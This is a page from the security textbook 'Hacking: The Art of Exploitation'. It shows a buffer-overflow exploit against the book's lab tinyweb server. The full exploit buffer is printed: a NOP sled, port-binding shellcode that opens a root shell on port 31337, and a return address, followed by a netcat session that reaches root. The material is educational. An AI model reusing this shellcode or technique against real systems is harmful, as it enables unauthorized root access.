Hacking - The Art of Exploitation, 2nd Edition

Networking 279

When this exploit is compiled and run against a host running tinyweb

server, the shellcode listens on port 31337 for a TCP connection. In the

output below, a program called nc is used to connect to the shell. This pro-

gram is netcat (nc for short), which works like that cat program but over the

network. We can’t just use telnet to connect since it automatically terminates

all outgoing lines with '\r\n'. The output of this exploit is shown below. The

-vv command-line option passed to netcat is just to make it more verbose.

reader@hacking:~/booksrc $ gcc tinyweb_exploit2.c
reader@hacking:~/booksrc $ ./a.out 127.0.0.1
Exploit buffer:
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 6a 66 58 99 | ............jfX.
31 db 43 52 6a 01 6a 02 89 e1 cd 80 96 6a 66 58 | 1.CRj.j......jfX
43 52 66 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 | CRfhzifS..j.QV..
cd 80 b0 66 43 43 53 56 89 e1 cd 80 b0 66 43 52 | ...fCCSV.....fCR
52 56 89 e1 cd 80 93 6a 02 59 b0 3f cd 80 49 79 | RV.....j.Y.?..Iy
f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 | ...Rh//shh/bin..
52 89 e2 53 89 e1 cd 80 90 90 90 90 90 90 90 90 | R..S............
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 88 f6 ff bf | ................
0d 0a | ..
reader@hacking:~/booksrc $ nc -vv 127.0.0.1 31337
localhost [127.0.0.1] 31337 (?) open
whoami
root
ls -l /etc/passwd
-rw-r--r-- 1 root root 1545 Sep 9 16:24 /etc/passwd